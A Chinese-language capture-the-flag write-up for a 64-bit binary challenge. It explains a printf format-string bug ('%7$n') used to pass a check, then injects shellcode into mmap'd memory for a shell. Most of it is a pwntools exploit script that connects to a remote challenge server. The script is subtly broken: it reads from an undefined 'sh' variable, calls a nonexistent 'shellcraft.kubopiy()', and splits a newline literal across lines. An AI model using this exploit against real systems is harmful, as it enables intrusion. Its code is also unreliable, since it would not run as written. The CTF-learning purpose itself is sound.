老样子,基本操作来一遍,发现是64位文件,拖到ida中
v3申请了8字节的空间,前半段存放了68,后半段存放了85
进入函数sub_400D72(v4)
我们输入一个长度小于0xc的name进入函数sub_400A7D()
输入east进入下一步流程sub_400BB9()
输入v1不为1,,输入一个地址,可能存在漏洞,接着进入sub_400CA6函数
如果*a1 == a1[1] ,查找mmap函数void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
mmap将一个文件或者其它对象映射进内存,那么我们可以利用写入 shellcode 来获取 shell。
但我们为了进入if条件就要使之*a1 == a1[1]
在 sub_400BB9 函数中存在漏洞,我们可以修改其中一方的值,使之相等。
存在printf重大漏洞,根据gdb调试结果,到第7个参数,我们可以对其进行读写修改,加上之前传入的前半截地址,我们可以用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值。
from pwn import *
kubopiy=remote("220.249.52.133",54766)#进行连接
context(arch='amd64')
elf = ELF("./string")
kubopiy.recvuntil("secret[0] is ")
v4_addr=int(sh.recvuntil('
'), 16)#转16进制
kubopiy.recvuntil("What should your character's name be:")
kubopiy.sendline('aaaa')
kubopiy.recvuntil("So, where you will go?east or up?:")
kubopiy.sendline('east')
kubopiy.recvuntil("go into there(1), or leave(0)?:")
kubopiy.sendline('1')
kubopiy.recvuntil("'Give me an address'")#把v4即v3前半部分的地址
kubopiy.sendline(str(int(v4_addr)))
kubopiy.recvuntil("And, you wish is:")
payload='a'*85+'%7$n'#将第7+1个参数进行n%解析,并修改为85
kubopiy.sendline(payload)
shellcode=asm(shellcraft.kubopiy())
kubopiy.recvuntil("Wizard: I will help you! USE YOU SPELL")
kubopiy.sendline(shellcode)#直接写入shellcode
kubopiy.interactive()
拿到flag,感觉这个题还有很多地方没有吃透,还要再看一下